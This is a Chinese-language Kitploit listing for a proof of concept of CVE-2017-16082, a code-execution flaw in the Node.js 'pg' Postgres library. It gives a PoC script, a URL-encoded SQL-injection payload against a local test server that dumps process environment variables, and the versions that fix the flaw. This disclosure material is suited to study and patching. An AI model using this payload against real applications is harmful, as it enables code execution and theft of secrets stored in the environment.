Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-16082 — NodeJS + Postgres (Remote Code Execution) 🛰 | Kitploit
工具/GitHubGitHub/nulldreams/cve-2017-16082
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubnulldreams/cve-2017-16082

CVE-2017-16082

NodeJS + Postgres (Remote Code Execution) 🛰

查看仓库
57年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-16082

概述

受影响版本的 pg 存在一个远程代码执行漏洞,当远程数据库或查询指定了精心构造的列名时触发。

以下两种场景下应用程序容易受到攻击:

  1. 应用程序执行不安全的、用户提供的 SQL,其中包含恶意的列名。
  2. 应用程序连接到不受信任的数据库并执行查询,返回的结果包含恶意的列名。

概念验证

root@kitploit:~
const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

修复方案

  • Version 2.x.x:更新至 2.11.2 或更高版本。
  • Version 3.x.x:更新至 3.6.4 或更高版本。
  • Version 4.x.x:更新至 4.5.7 或更高版本。
  • Version 5.x.x:更新至 5.2.1 或更高版本。
  • Version 6.x.x:更新至 6.4.2 或更高版本。(注意:6.1.6、6.2.5 和 6.3.3 版本也已修复。)
  • Version 7.x.x:更新至 7.1.2 或更高版本。(注意:7.0.2 版本也已修复。)

本地测试 💣

git clone https://github.com/nulldreams/CVE-2017-16082.git

cd CVE-2017-16082

npm i && node server.js

向 localhost:5000/api/v1/users?id=1 发送请求 结果

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    }
]

现在,使用类似 1;SELECT 1 AS "\']=0;console.log(process.env)//" 的 payload 发送请求,并通过 URL 编码器 进行编码

最终 URL:localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    },
    {
        "\\": 0
    }
]

查看终端服务器。

下载工具